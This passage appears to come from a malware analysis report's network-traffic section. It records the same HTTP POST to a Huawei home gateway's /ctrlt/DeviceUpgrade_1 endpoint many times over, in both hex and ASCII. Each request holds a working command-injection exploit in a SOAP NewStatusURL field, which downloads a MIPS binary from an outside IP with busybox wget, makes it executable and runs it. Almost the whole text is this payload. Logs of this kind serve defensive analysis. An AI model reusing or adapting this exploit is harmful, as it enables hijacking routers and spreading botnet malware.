xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 